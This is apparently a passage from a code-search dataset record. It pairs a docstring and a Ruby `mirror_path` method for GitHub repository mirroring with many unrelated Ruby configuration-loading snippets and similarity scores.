\"+\n \"a hash but did not. Fix #{config_file} and try again.\" \n else\n return config.symbolize_keys!(:deep)\n end\n rescue Exception => e\n raise BadConfigurationException, \"Failed to load user defined \" +\n \"configuration file #{config_file}.\\n\\t#{e}\"\n end\n end \n end", "def initialize(config_str=nil)\n\n if config_str\n\n # We have been passed a config file as a string.\n #\n config_files = [ config_str ]\n config_class = StringIO\n\n else\n\n # Perform the usual search for the system and user config files.\n #\n config_files = [ File.join( '', 'etc', 'amazonrc' ) ]\n\n # Figure out where home is. The locations after HOME are for Windows.\n # [ruby-core:12347]\n #\n home = ENV['AMAZONRCDIR'] ||\n ENV['HOME'] || ENV['HOMEDRIVE'] + ENV['HOMEPATH'] ||\n ENV['USERPROFILE']\n user_rcfile = ENV['AMAZONRCFILE'] || '.amazonrc'\n\n if home\n config_files << File.expand_path( File.join( home, user_rcfile ) )\n end\n\n config_class = File\n end\n\n config_files.each do |cf|\n\n if config_class == StringIO\n readable = true\n else\n # We must determine whether the file is readable.\n #\n readable = File.exists?( cf ) && File.readable?( cf )\n end\n\n if readable\n\n Amazon.dprintf( 'Opening %s ...', cf ) if config_class == File\n \n config_class.open( cf ) { |f| lines = f.readlines }.each do |line|\n line.chomp!\n \n # Skip comments and blank lines.\n #\n next if line =~ /^(#|$)/\n \n Amazon.dprintf( 'Read: %s', line )\n \n # Store these, because we'll probably find a use for these later.\n #\n begin\n match = line.match( /^\\s*(\\S+)\\s*=\\s*(['\"]?)([^'\"]+)(['\"]?)/ )\n key, begin_quote, val, end_quote = match[1, 4]\n raise ConfigError if begin_quote != end_quote\n\n rescue NoMethodError, ConfigError\n raise ConfigError, \"bad config line: #{line}\"\n end\n \n self[key] = val\n \n end\n end\n\n end\n\n end", "def set_from_config!(arg)\n @config_data = \n if arg.include?(\"://\")\n open(arg) {|io| io.read }\n elsif File.exist?(arg)\n @config_filename = arg\n IO.read(arg)\n else\n url = \"https://raw.github.com/#{arg}/#{DEFAULT_CONFIG_GITHUB_REPO}/master/#{DEFAULT_CONFIG_GITHUB_PATH}\"\n begin\n open(url) {|io| io.read }\n rescue\n raise RuntimeError, \"assuming this is a github account name, but config file does not exist!: #{url}\"\n end\n end\n raise \"config file doesn't look like config file\" unless is_config?(@config_data)\n (@data, @repos) = read_config_data(@config_data, @config_filename)\n self\n end", "def initialize\n\n # Set some defaults\n self.auth_location = 'usa'\n self.use_service_net = 'false'\n self.retention_days = 7\n\n config_file = find_config_file\n raise \"Unable to find configuration file\" if config_file.nil?\n\n File.open(config_file, 'r') do |file|\n while (line = file.gets)\n key, value = line.strip.split('=', 2)\n send(:\"#{key}=\", value)\n end\n end\n\n end", "def read_config(fi,conf,curDir)\n\tDir.chdir curDir\n\tbDirs=bFiles=false\n \n\tIO.readlines(fi).each do |line|\n\t\tline.chomp!\n line.strip!\n\t\tnext if line[0,1]=='#' #comment line ?\n\t\tnext if line.empty? # ignore empty lines\n\t\tif line=~/^-exdirs/i\n\t\t\tbDirs,bFiles=true, false\n\t\telsif line=~/^-exfiles/i\n\t\t\tbFiles,bDirs=true, false\n\t\telsif line=~/^-server/i\n\t\t\tconf[:server]=getVal(line)\n\t\telsif line=~/^-user/i\n\t\t\tconf[:user]=getVal(line)\t\t\n\t\telsif line=~/^-port/i\n\t\t\tconf[:port]=getVal(line).to_i\n\t\telsif line=~/^-pass/i\n\t\t\tconf[:pass]=getVal(line)\n\t\telsif line=~/^-ftpdir/i\n\t\t\tconf[:ftpDir]=getVal(line)\n \t\telsif line=~/^-backupDrive/i\n\t\t\tconf[:backupDrive]=getVal(line)\n\n\t\telsif line=~/^-backupFile/i\n\t\t\tconf[:backupFile]=getVal(line)\n \t elsif line=~/^-generations/i\n\t\t\tconf[:generations]=getVal(line).to_i\n unless conf[:generations]>0\n puts 'error in config: generations must be > 0 !'\n puts line\n exit 1\n end\n elsif line=~/^-cryptpass/i\n\tconf[:passphrase]=getVal(line)\n \tif conf[:passphrase].size<8\n \tputs 'error in config: cryptpass minimum length is 8 chars !'\n \t \tputs line\n \texit 1\n end\n elsif bDirs\n\t\t\tconf[:exDirs]<< line # collect directories to exclude/(nclude empty only)\n elsif bFiles\n\t\t\tconf[:exFiles]<< line # collect file masks to exclude\n else\n\t\t\tconf[:saveDirs]<< line # collect directories to backup\n end\n end\nend", "def read_config_file\n begin\n Log.log.debug(\"config file is: #{@option_config_file}\".red)\n conf_file_v1=File.join(Dir.home,ASPERA_HOME_FOLDER_NAME,PROGRAM_NAME_V1,DEFAULT_CONFIG_FILENAME)\n conf_file_v2=File.join(Dir.home,ASPERA_HOME_FOLDER_NAME,PROGRAM_NAME_V2,DEFAULT_CONFIG_FILENAME)\n # files search for configuration, by default the one given by user\n search_files=[@option_config_file]\n # if default file, then also look for older versions\n search_files.push(conf_file_v2,conf_file_v1) if @option_config_file.eql?(@conf_file_default)\n # find first existing file (or nil)\n conf_file_to_load=search_files.select{|f| File.exist?(f)}.first\n # require save if old version of file\n save_required=!@option_config_file.eql?(conf_file_to_load)\n # if no file found, create default config\n if conf_file_to_load.nil?\n Log.log.warn(\"No config file found. Creating empty configuration file: #{@option_config_file}\")\n @config_presets={CONF_PRESET_CONFIG=>{CONF_PRESET_VERSION=>@program_version},CONF_PRESET_DEFAULT=>{'server'=>'demoserver'},\n 'demoserver'=>{'url'=>'ssh://'+DEMO+'.asperasoft.com:33001','username'=>AOC_COMMAND_V2,'ssAP'.downcase.reverse+'drow'.reverse=>DEMO+AOC_COMMAND_V2}}\n else\n Log.log.debug \"loading #{@option_config_file}\"\n @config_presets=YAML.load_file(conf_file_to_load)\n end\n files_to_copy=[]\n Log.log.debug \"Available_presets: #{@config_presets}\"\n raise \"Expecting YAML Hash\" unless @config_presets.is_a?(Hash)\n # check there is at least the config section\n if !@config_presets.has_key?(CONF_PRESET_CONFIG)\n raise \"Cannot find key: #{CONF_PRESET_CONFIG}\"\n end\n version=@config_presets[CONF_PRESET_CONFIG][CONF_PRESET_VERSION]\n if version.nil?\n raise \"No version found in config section.\"\n end\n # oldest compatible conf file format, update to latest version when an incompatible change is made\n # check compatibility of version of conf file\n config_tested_version='0.4.5'\n if Gem::Version.new(version) < Gem::Version.new(config_tested_version)\n raise \"Unsupported config file version #{version}. Expecting min version #{config_tested_version}\"\n end\n config_tested_version='0.6.15'\n if Gem::Version.new(version) < Gem::Version.new(config_tested_version)\n convert_preset_plugin_name(AOC_COMMAND_V1,AOC_COMMAND_V2)\n version=@config_presets[CONF_PRESET_CONFIG][CONF_PRESET_VERSION]=config_tested_version\n save_required=true\n end\n config_tested_version='0.8.10'\n if Gem::Version.new(version) <= Gem::Version.new(config_tested_version)\n convert_preset_path(PROGRAM_NAME_V1,PROGRAM_NAME_V2,files_to_copy)\n version=@config_presets[CONF_PRESET_CONFIG][CONF_PRESET_VERSION]=config_tested_version\n save_required=true\n end\n config_tested_version='1.0'\n if Gem::Version.new(version) <= Gem::Version.new(config_tested_version)\n convert_preset_plugin_name(AOC_COMMAND_V2,AOC_COMMAND_V3)\n convert_preset_path(PROGRAM_NAME_V2,@tool_name,files_to_copy)\n version=@config_presets[CONF_PRESET_CONFIG][CONF_PRESET_VERSION]=config_tested_version\n save_required=true\n end\n # Place new compatibility code here\n if save_required\n Log.log.warn(\"Saving automatic conversion.\")\n @config_presets[CONF_PRESET_CONFIG][CONF_PRESET_VERSION]=@program_version\n save_presets_to_config_file\n Log.log.warn(\"Copying referenced files\")\n files_to_copy.each do |file|\n FileUtils.cp(file,@main_folder)\n Log.log.warn(\"..#{file} -> #{@main_folder}\")\n end\n end\n rescue Psych::SyntaxError => e\n Log.log.error(\"YAML error in config file\")\n raise e\n rescue => e\n Log.log.debug(\"-> #{e}\")\n new_name=\"#{@option_config_file}.pre#{@program_version}.manual_conversion_needed\"\n File.rename(@option_config_file,new_name)\n Log.log.warn(\"Renamed config file to #{new_name}.\")\n Log.log.warn(\"Manual Conversion is required. Next time, a new empty file will be created.\")\n raise CliError,e.to_s\n end\n end", "def reader(filepath, *args)\n if filepath.respond_to? :to_str or filepath.respond_to? :to_path\n ext = File.extname(filepath)\n if registered = readers.find{|r| r[1].include?(ext)}\n registered[2].new(filepath.to_s, *args)\n else\n raise \"No registered reader for #{ext} (#{filepath})\"\n end\n elsif args.empty? \n coerce(filepath)\n else\n raise ArgumentError, \"Unable to return a reader for #{filepath} and #{args}\" \n end\n end", "def read(filename = Config_File_Name)\n sec = nil\n begin\n File.open(filename, 'r') do |f|\n while line = f.gets\n line.chop!\n if Regexp.new(CommentLine).match(line)\n elsif (SEC_ALL_SYM + [DEF_S, OUTPUT_S]).include?(line.chop.to_sym)\n sec = line.chop.to_sym\n elsif match = Regexp.new(Assignment).match(line)\n if sec == nil\n Log.err(\"Error in configuration file #{filename} line #{f.lineno}\")\n Log.err('=> ' + line)\n Log.err(' assignment before a section is selected')\n end\n name = match[NameIndex].to_sym\n value = match[ValIndex]\n if e = set(sec, name, value)\n Log.err(\"Error in configuration file #{filename} line #{f.lineno}\")\n Log.err('=> ' + line)\n Log.err(' ' + e)\n #break\n end\n else\n Log.err(\"Error in configuration file #{filename} line #{f.lineno}\")\n Log.err('=> ' + line)\n Log.err(' invalid line, ignored')\n #break\n end\n end\n end\n rescue => e\n Log.err e.message\n end\n end", "def parse_people_config\n people_config_path = \"config/people/#{Etc.getlogin}.yml\"\n @people_config = ( YAML.load_file(people_config_path) if File.exist?(people_config_path) ) || YAML.load_file(\"config/people/roderik.yml\")\n end", "def load_config_from_file\n # Useful for testing or embedding credentials - although as always \n # it is not recommended to embed any kind of credentials in source code for security reasons\n return { :piwik_url => PIWIK_URL, :auth_token => PIWIK_TOKEN } if PIWIK_URL.present? and PIWIK_TOKEN.present?\n config = {}\n if defined?(RAILS_ROOT) and RAILS_ROOT != nil\n home = RAILS_ROOT\n filename = \"config/piwik.yml\"\n else\n home = ENV['HOME'] || ENV['USERPROFILE'] || ENV['HOMEPATH'] || \".\"\n filename = \".piwik\"\n end\n temp_config = if File.exists?(File.join(home,filename))\n YAML::load(open(File.join(home,filename)))\n else\n open(File.join(home,filename),'w') { |f| f.puts @@template }\n YAML::load(@@template)\n end\n temp_config.each { |k,v| config[k.to_sym] = v } if temp_config\n if config[:piwik_url] == nil || config[:auth_token] == nil\n if defined?(RAILS_ROOT) and RAILS_ROOT != nil\n raise MissingConfiguration, \"Please edit ./config/piwik.yml to include your piwik url and auth_key\"\n else\n raise MissingConfiguration, \"Please edit ~/.piwik to include your piwik url and auth_key\"\n end\n\n end\n config\n end", "def gitconfig\n return unless File.exist?('.git/config')\n lines = File.read('.git/config').split(\"\\n\")\n lines = lines.map do |line|\n md = /^\\s*url\\s*=\\s*ssh:\\/\\/git@git.nordstrom.net\\/its\\/(?<reponame>[\\w_]+).git/.match(line)\n line = \" url = git@gitlab.nordstrom.com:chef/cookbooks/#{md[:reponame]}.git\" if md\n line\n end\n File.write('.git/config', lines.join(\"\\n\"))\nend", "def as_config\n Configureasy::Config.new self.parse\n end", "def read\n unless File.exist?(config_file)\n raise UserError, \"Kitchen YAML file #{config_file} does not exist.\"\n end\n\n Util.symbolized_hash(combined_hash)\n end", "def load_config()\n @config = get_xml(@xml_api_config_path)\n @config_doc = REXML::Document.new(@config)\n\n @config_doc = REXML::Document.new(@config)\n if !@config_doc.elements[\"/project/scm/locations/hudson.scm.SubversionSCM_-ModuleLocation/remote\"].nil?\n @repository_url = @config_doc.elements[\"/project/scm/locations/hudson.scm.SubversionSCM_-ModuleLocation/remote\"].text || \"\"\n end\n @repository_urls = []\n if !@config_doc.elements[\"/project/scm/locations\"].nil?\n @config_doc.elements.each(\"/project/scm/locations/hudson.scm.SubversionSCM_-ModuleLocation\") { |e| @repository_urls << e.elements[\"remote\"].text }\n end\n if !@config_doc.elements[\"/project/scm/browser/location\"].nil?\n @repository_browser_location = @config_doc.elements[\"/project/scm/browser/location\"].text\n end\n if !@config_doc.elements[\"/project/description\"].nil?\n @description = @config_doc.elements[\"/project/description\"].text || \"\"\n end\n end", "def load!\n if config_file\n load_from_config_file(config_file)\n\n if @config_from_file\n get_formatters_from_config_file\n #get_file_sets_from_config_file unless @runtime_file_list\n get_file_sets_from_config_file\n end\n else\n log 'Creating default file set...'\n @file_sets = { default: FileSet.new(@runtime_file_list) }\n end\n\n get_output_file_from_cli_opts\n get_formatters_from_cli_opts\n get_file_sets_from_cli_opts\n get_style_from_cli_opts\n end", "def from_config(file = nil)\n config_file = config_file(file)\n\n init(config_file.config[:uri], config_file.config[:prefix])\n end", "def load\n @models = []\n\n # \n files = \n if File.directory?(config_path) \n files_in_dir = []\n Dir[config_path + \"/*.yml\"].each do |file|\n files_in_dir << file\n end\n files_in_dir\n elsif File.file?(config_path)\n [config_path]\n else\n nil\n end\n\n return nil if files.nil?\n\n # \n @models = files.inject(@models) do |models, file|\n begin\n yaml = YAML.load_file(file)\n rescue => ex\n logger.debug \"failed in reading yaml (#{file})\"\n next\n end\n if yaml.nil?\n logger.debug \"failed in reading yaml (#{file})\"\n next\n end\n models + yaml2models(yaml)\n end.extend(ArrayMethods)\n end", "def retriable_configuration\n Take2::Configuration::CONFIG_ATTRS.each_with_object({}) do |key, hash|\n hash[key] = send(key)\n end\n end", "def load_repo_configs(config = {}, repos = [])\n repos.each_with_object(config.dup) do |repo, hsh|\n fp = Pathname.new(repo).expand_path + '.rizzo.json'\n if fp.readable?\n hsh.deep_merge!(load_rizzo_config(fp))\n else\n log.debug \"Skipped #{fp} (it is not readable)\"\n end\n end\n end", "def load(filename)\n @config.load(filename)\n @rules.concat(@config.rules)\n self\n end", "def config(mod, *accessors); end", "def load_config(filename = nil)\n return if filename.nil? || filename.empty?\n self.config = { domain: [], sub: [] }\n File.foreach(filename) do |line|\n action, params = config_parse(line)\n if action == :domain\n config_domain(*params)\n elsif action == :substitution\n config_substitution(*params)\n end\n end\n end", "def initialize(file)\n @file = file\n @properties = {}\n File.open(file).each_line do |line|\n @properties[Regexp.last_match(1).strip] = Regexp.last_match(2) if line =~ %r{([^=]*)=(.*)//(.*)} || line =~ /([^=]*)=(.*)/\n end\n end", "def read!(file)\n File.open(file, \"r\") do |f|\n while (s = f.gets.chomp) != ''\n header, value = s.split(\": \")\n case header\n when 'Version'\n major, minor = value.split('.')\n # NOTE: This is where I'd do conversions to the latest format, I think\n major != MAJOR_VERSION and\n raise \"File #{file} uses a different format (#{value}) than this program (#{VERSION}). Please upgrade your groupdir\"\n when 'Label'\n @label = value\n when 'Host'\n @host = value\n when 'Dir'\n @dir = value\n when 'Prune'\n @prune_leading_dir = (value == 'true')\n end\n end\n super(f)\n end\n return self\n end", "def parse_configuration(file)\n config = {}\n current = nil\n File.open(file).each_line do |line|\n case line\n when /^\\[(\\w+)(?: \"(.+)\")*\\]/\n key, subkey = $1, $2\n current = (config[key] ||= {})\n current = (current[subkey] ||= {}) if subkey\n else\n key, value = line.strip.split(' = ')\n current[key] = value\n end\n end\n config\n end", "def parse\r\n raise \"directory #{@config[:model_dir]} not exists\" unless File.directory? @config[:model_dir]\r\n Dir[\"#{@config[:model_dir]}/*.rb\"].each do |file|\r\n crt_model = Model.new\r\n model_attrs_ = Hash.new\r\n in_public = true\r\n File.open(file, 'r:utf-8').each do |line|\r\n line.chomp!\r\n\r\n # erd_tag and attr\r\n if /^[\\#\\s]*erd_tag\\:?\\s*(?<tag_>[\\w\\.]+)/ =~ line\r\n crt_model.tag = tag_ \r\n crt_model.attrs = @config[:tags][tag_]\r\n end\r\n\r\n # catch class definition\r\n if /^\\s*class\\s+(?<name_>\\w+)/ =~ line\r\n crt_model.name = name_.underscore \r\n self.parse_erd crt_model, line\r\n if /^\\s*class\\s+\\w+\\s+\\<\\s+(?<parent_>\\w+)/ =~ line\r\n crt_model.parent = parent_.underscore if parent_\r\n end\r\n end\r\n \r\n # catch functions\r\n in_public = true if /public\\:/ =~ line\r\n in_public = false if /private\\:/ =~ line\r\n\r\n if /^\\s*def\\s+(?<func_>[^#]+)\\s*/ =~ line\r\n field_ = Fields.new\r\n field_.name, field_.type = func_, 'function'\r\n self.parse_erd field_, line # parse erd attr and label\r\n # arbitrage link\r\n if /\\-\\>\\s*(?<name_>\\w+)(\\{(?<attrs_>.+)\\})?/ =~ line\r\n attrs = {}\r\n attrs = YAML.load(attrs_) if attrs_\r\n field_.edge = [name_, '', attrs]\r\n end\r\n crt_model.fields << field_ \r\n end\r\n\r\n # catch field\r\n if /^\\s*field\\s+\\:(?<name_>\\w+)\\s*\\,.*\\:?type\\:?\\s*(?<type_>[A-Za-z_0-9\\:]+)/ =~ line\r\n field_ = Fields.new\r\n field_.name, field_.type = name_, type_\r\n self.parse_erd field_, line # parse erd attr and label\r\n # arbitrage link\r\n if /\\-\\>\\s*(?<name_>\\w+)(\\{(?<attrs_>.+)\\})?/ =~ line\r\n attrs = {}\r\n attrs = YAML.load(attrs_) if attrs_\r\n field_.edge = [name_, '', attrs]\r\n end\r\n crt_model.fields << field_ \r\n end\r\n\r\n # catch relations\r\n if /^\\s*(?<rel_>embeds_many|embeds_one|has_many|has_one|belongs_to|embedded_in)\\s+\\:(?<name_>\\w+)\\s*(\\,.*\\:?as\\:?\\s*(?<as_>\\w+))?/ =~ line\r\n field_ = Fields.new\r\n field_.name, field_.type = rel_, name_\r\n field_.name = \"#{rel_} (as #{as_})\" if as_\r\n self.parse_erd field_, line # parse erd attr and label\r\n crt_model.fields << field_ \r\n #if %w[belongs_to embedded_in embeds_one has_one].include? rel_\r\n field_.edge = [name_, '', {label: rel_, arrowhead: 'normal'}]\r\n #end\r\n end\r\n \r\n # common extension field\r\n if /^\\s*symbolize\\s+\\:(?<name>\\w+)\\s*\\,.*\\:?in\\:?.*(?<in_>\\[.+\\])/ =~ line\r\n field_ = Fields.new\r\n field_.name, field_.type = name_, \"symbolized in #{in_}\"\r\n self.parse_erd field_, line # parse erd attr and label\r\n crt_model.fields << field_ \r\n end\r\n\r\n if /^\\s*state_machine\\s+\\:(?<state_>\\w+)/ =~ line\r\n field_ = Fields.new\r\n field_.name = state_ == \"initial\" ? \"state\" : state_\r\n field_.type = \"state_machine\"\r\n self.parse_erd field_, line # parse erd attr and label\r\n crt_model.fields << field_ \r\n end\r\n\r\n if /\\s*as_enum\\s+\\:(?<name_>\\w+)\\s*\\,\\s*(?<enum_>[^#]+)/ =~ line\r\n field_ = Fields.new\r\n field_.name = name_\r\n field_.type = \"[ENUM] \" + enum_ \r\n self.parse_erd field_, line # parse erd attr and label\r\n crt_model.fields << field_ \r\n end\r\n\r\n end # open and parse one file\r\n\r\n # assign attributes at the last moment\r\n crt_model.attrs.merge! model_attrs_\r\n\r\n # if config.include/tag, default to exclude_it = true\r\n if @config[:include].size > 0 or @config[:tag].size > 0\r\n include_it = false\r\n else\r\n include_it = true\r\n end\r\n\r\n # if in the include list, include it\r\n include_it = true if @config[:include] and @config[:include].include? crt_model.name\r\n @config[:tag].each do |t|\r\n include_it = true if t == crt_model.tag or /^#{t}(\\..+)?/.match(crt_model.tag)\r\n end\r\n\r\n include_it = false if @config[:exclude].include? crt_model.name\r\n @models[crt_model.name] = crt_model if include_it\r\n end # open directory\r\n self\r\n end", "def load_local\n files = lookup(CONFIG_FILE)\n file = files.find{ |f| File.file?(f) }\n new(*file)\n\n #if file\n # paths = [file]\n #else\n # dir = lookup(CONFIG_DIR).find{ |f| File.directory?(f) }\n # paths = dir ? Dir.glob(File.join(dir, '**/*')) : []\n #end\n #files = paths.select{ |path| File.file?(path) }\n end", "def load_resource_attributes_from_file(resource)\n acl_scanner = Chef::ScanAccessControl.new(@new_resource, resource)\n # acl_scanner.set_all!\n end", "def parse\n \n # TODO: Because the Gemfile parser will look at any file without a suffix\n # it is important to make sure that the filename is actually Gemfile\n \n gemfile = File.basename(@file)\n \n log.info \"Gemfile - Bundler: #{gemfile}\"\n \n # Use Bundler's DSL evaluator to generate the domain objects\n bundle = Bundler::Dsl.new\n bundle.instance_eval(@source, @file, 1)\n \n # Bundler::Dsl does grant access to the instance variables so we will \n # add attribute readers to allow us to read the following attributes.\n\n class << bundle\n attr_reader :rubygems_source, :sources, :dependencies, :groups, :platforms\n end\n \n end", "def defaults\n return @config if @config\n\n @config = Configatron::Store.new\n file_path = File.expand_path('../../../config/xpaths.yml', __FILE__)\n hash_config = YAML::load_file(file_path)\n\n @config.configure_from_hash(hash_config)\n @config.lock!\n @config\n end" ]
[ "0.5813235", "0.5720142", "0.563452", "0.55872416", "0.55781966", "0.55332816", "0.54723233", "0.54536825", "0.5441712", "0.52953726", "0.5289665", "0.52744013", "0.5253997", "0.5242925", "0.52349234", "0.52274066", "0.5199857", "0.51949877", "0.5194828", "0.5176196", "0.51758754", "0.51545054", "0.5152277", "0.51302254", "0.51281404", "0.5104723", "0.5101209", "0.5098593", "0.5098349", "0.50959", "0.5080444", "0.5067401", "0.50673723", "0.50672656", "0.5063278", "0.50558984", "0.5054107", "0.5047534", "0.5045405", "0.5041695", "0.50398505", "0.5029885", "0.50139576", "0.5012904", "0.50041425", "0.5000757", "0.4998478", "0.49882558", "0.4987717", "0.4982616", "0.4977222", "0.49725503", "0.49604338", "0.4959503", "0.49363714", "0.4933804", "0.49259982", "0.49236593", "0.49203914", "0.49178678", "0.49141857", "0.491129", "0.49089155", "0.4902949", "0.4901109", "0.48949644", "0.48899192", "0.48802003", "0.48694786", "0.4856378", "0.48543894", "0.48526448", "0.48495868", "0.48476234", "0.4835676", "0.48344594", "0.48328137", "0.48287687", "0.4826564", "0.48249838", "0.48216793", "0.48216614", "0.48148805", "0.48135078", "0.4811771", "0.48042357", "0.4803113", "0.48022643", "0.48021838", "0.48009813", "0.48008686", "0.48004076", "0.4794657", "0.4793145", "0.47924137", "0.47752616", "0.47748542", "0.47718945", "0.47712108", "0.4767566", "0.47612786" ]
0.0
-1
:nodoc: Return a expanded path to repository mirror build with information from configuration for repository. Replace keywords (:keyword) with value matched by it pattern.
def mirror_path(repository_owner, repository_name) mirror_path = repository_info(repository_owner, repository_name).path || raise(GithubMirrorError, "Path for repository '#{repository_owner}/#{repository_name}' doesn\'t exist in config") mirror_patterns = repository_info(repository_owner, repository_name).patterns keys = mirror_path.scan(/:(\w+)/).flatten unless keys.empty? keys.each do |key| if key == 'repository_name' && !mirror_patterns.has_key?('repository_name') value = repository_name elsif key == 'repository_owner' && !mirror_patterns.has_key?('repository_owner') value = repository_owner else value = repository_name.match(mirror_patterns[key])[1] rescue raise(GithubMirrorError, "Repository name pattern have an error for key `#{key}`: #{mirror_patterns[key] || 'no pattern'}") end mirror_path.gsub!(/:#{key}/, value) end else mirror_path = File.join(mirror_path, "#{repository_owner}/#{repository_name}.git") end mirror_path += '.git' unless mirror_path.match(/\.git$/) mirror_path end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remote_path_for(package)\n File.join(\n Config.artifactory_base_path,\n Config.artifactory_publish_pattern % package.metadata\n )\n end", "def remote_path_for(package)\n File.join(\n Config.artifactory_base_path,\n package.metadata[:name],\n package.metadata[:version],\n publish_platform(package),\n publish_platform_version(package),\n package.metadata[:basename],\n )\n end", "def in_path(repository_name)\n File.join(SETTINGS[\"repositories_path\"], repository_name)\n end", "def repository_base_url(result)\n if result['slug'] && AppConfig[:use_human_readable_urls]\n url = \"repositories/\" + result['slug']\n else\n url = result['uri']\n end\n\n return url\n end", "def find_repo_by_keyword(keyword)\n Repo.all.select do |repo|\n if repo.description != nil\n repo.description.downcase.include?(keyword)\n end\n end\n end", "def target_repo_value\n @target_repo_url ||= value_of_or_default(params[:url_field], \"target-repository\")\n end", "def custom_repo_path(org_label, environment_label, product_label, repo_label)\n prefix = [org_label, environment_label].map { |x| x.gsub(/[^-\\w]/, \"_\") }.join(\"/\")\n prefix + custom_content_path(product_label, repo_label)\n end", "def getRepositoryPath\n return @REPOSITORYPATHORSELECT\n end", "def locate(name)\n \"repositories/#{name}\"\n end", "def repo=(word)\n return @repo = word.start_with?('dotfiles-') ? word : \"dotfiles-#{word}\"\n end", "def build_url_field_regex\n if Properties && Properties['jenkins_url']\n / \\((#{Regexp::escape(Properties['jenkins_url'])}[^)]+)\\)/\n else\n # Use this test to set the build url matching pattern\n if ENV['BUILD_URL']\n # Don't set build_url directly from the env var, since we want\n # to make sure they match\n / \\((#{Regexp::escape(ENV['BUILD_URL'])})\\)/\n else\n / \\((https?:[^)]+)\\)/\n end\n end\nend", "def build_target_path\n File.join(destination, configuration[:build_target_path])\n end", "def remote_repository\n url = \"#{configuration[:user]}@#{configuration[:domain]}:\"\n @remote_repository ||= if configuration[:repository].include?(url)\n tmp = configuration[:repository].sub(url, \"file://\")\n if tmp.include?(\"~\")\n tmp.sub!(\"~\", \"/home/#{configuration[:user]}\")\n end\n tmp\n else\n configuration[:repository]\n end\n @remote_repository\n end", "def build_path\n Pathname.new(self.config[:build_path]) \n end", "def mirror_locally=(value)\n cobbler('repo', 'edit', '--name=' + @resource[:name], '--mirror-locally=' + value.to_s)\n @property_hash[:mirror_locally]=(value.to_s)\n cobbler('reposync')\n end", "def resolve_recursive_build_setting(config, setting)\n resolution = config.resolve_build_setting(setting)\n\n # finds values with one of\n # $VALUE\n # $(VALLUE)\n # $(VALUE:modifier)\n # ${VALUE}\n # ${VALUE:modifier}\n resolution&.gsub(/\\$[\\(\\{]?.+[\\)\\}]?/) do |raw_value|\n # strip $() characters\n unresolved =\n raw_value.gsub(/[\\$\\(\\)\\{\\}]/, '')\n\n # Get the modifiers after the ':' characters\n name, *modifiers = unresolved.split(':')\n\n # Expand variable name\n subresolution = resolve_recursive_build_setting(config, name)\n\n # Apply modifiers\n # NOTE: not all cases accounted for\n #\n # See http://codeworkshop.net/posts/xcode-build-setting-transformations\n # for various modifier options\n modifiers.each do |modifier|\n case modifier\n when 'lower'\n subresolution.downcase!\n when 'upper'\n subresolution.upcase!\n else\n # Fastlane message\n UI.error(\"Unknown modifier: `#{modifier}` in `#{raw_value}\")\n end\n end\n\n subresolution\n end\n end", "def get_package_link(params, mode=:edit)\n hardcoded_string = \"#{APP_CONFIG['site_prefix']}tasks/#{escape_url(self.task.name)}/packages/#{escape_url(self.name)}\"\n\n if mode == :create\n hardcoded_string\n elsif params[:request_path].blank?\n hardcoded_string\n else\n params[:request_path]\n end\n end", "def maven_repository_path\n command = \"#{package_management_command} help:evaluate -Dexpression=settings.localRepository -q -DforceStdout\"\n command += \" #{@maven_options}\" unless @maven_options.nil?\n stdout, stderr, status = Dir.chdir(project_path) { Cmd.run(command) }\n raise \"Command '#{command}' failed to execute: #{stderr}\" unless status.success?\n\n Pathname(stdout)\n end", "def extract_field(field, regexp, save_path = false)\n lambda do |release, links|\n possible_releases = links.select do |link|\n link.content =~ regexp\n end\n possible_releases.map do |link|\n result = {\n link: link,\n field => link.content.match(regexp).captures.first\n }\n result[:repo_url] = \"#{release[:url]}#{link[:href]}\" if save_path\n result\n end\n end\n end", "def repo_path\n if !self.cmd_opt.empty?\n self.fake_path = repo_name\n # real path is something like /jupiler_home/repositories/username/repo_name\n self.real_path = Settings.jup_sh.home + '/' +\n self.username_from_cmd + \"/\" +\n self.fake_path\n return self.real_path\n end\n end", "def repository_path=(path)\n @repository_path = Pathname.new(path)\n end", "def path(key = '')\n @path ||= File.join(File.expand_path(@options[:repo]), key)\n end", "def path(key = '')\n @path ||= File.join(File.expand_path(@options[:repo]), key)\n end", "def update kwargs={}\n ignore_cksum = kwargs.arg :ignore_cksum, false\n ignore_sigs = kwargs.arg :ignore_sigs, false\n\n cmd = 'aptly mirror update'\n cmd += ' -ignore-checksums' if ignore_cksum\n cmd += ' -ignore-signatures' if ignore_sigs\n cmd += \" #{@name.quote}\"\n\n Aptly::runcmd cmd\n end", "def build_path\n Pathname.new(config[:build_path])\n end", "def artifact_download_url_for(node, source)\n # TODO: Move this method into the nexus-cli\n config = data_bag_config_for(node, source)\n nexus_path = config['path']\n group_id, artifact_id, version, extension, classifier = source.split(':')\n uri_for_url = URI(config['url'])\n builder = uri_for_url.scheme =~ /https/ ? URI::HTTPS : URI::HTTP\n is_content_path_enabled = use_content_path node\n query_string = \"g=#{group_id}&a=#{artifact_id}&v=#{version}&e=#{extension}&r=#{config['repository']}&c=#{classifier}\"\n if is_content_path_enabled\n if version.downcase.include? 'snapshot'\n builder.build(:host => uri_for_url.host, :port => uri_for_url.port, :path => \"#{nexus_path}/service/local/artifact/maven/redirect\", :query => query_string).to_s\n else\n ##\n Chef::Log.info \"g-#{group_id} a-#{artifact_id} v-#{version} e-#{extension} c-#{classifier} repo #{config['repository']} url #{config['url']} path #{config['path']}\"\n gav_path=get_gav_path(group_id, artifact_id, version)\n f_name = get_download_fname(artifact_id, version, classifier, extension)\n if nexus_path ==''\n content_url=\"#{config['repository']}/#{gav_path}/#{f_name}\"\n builder.build(:host => uri_for_url.host, :port => uri_for_url.port, :path => \"/#{content_url}\").to_s\n else\n # remove leading trailing /\n path = nexus_path.gsub(/^\\//, '')\n path = \"#{path.gsub(/\\/$/, '')}/content/repositories/#{config['repository']}\"\n content_path = \"#{path}/#{gav_path}\"\n content_url = \"#{content_path}/#{f_name}\"\n Chef::Log.info \"download url #{content_url}\"\n builder.build(:host => uri_for_url.host, :port => uri_for_url.port, :path => \"/#{content_url}\").to_s\n end\n end\n else\n builder.build(:host => uri_for_url.host, :port => uri_for_url.port, :path => \"#{nexus_path}/service/local/artifact/maven/redirect\", :query => query_string).to_s\n end\n end", "def repo_path\n DeliveryGolang::Helpers.repo_path(node)\n end", "def repository\n if ladnn?\n ['University of California, Los Angeles. Library. Department of Special Collections']\n else\n # Replace marc codes with double dashes and no surrounding spaces\n map_field(:repository)&.map { |a| a.gsub(/ \\$[a-z] /, ' ') }\n end\n end", "def 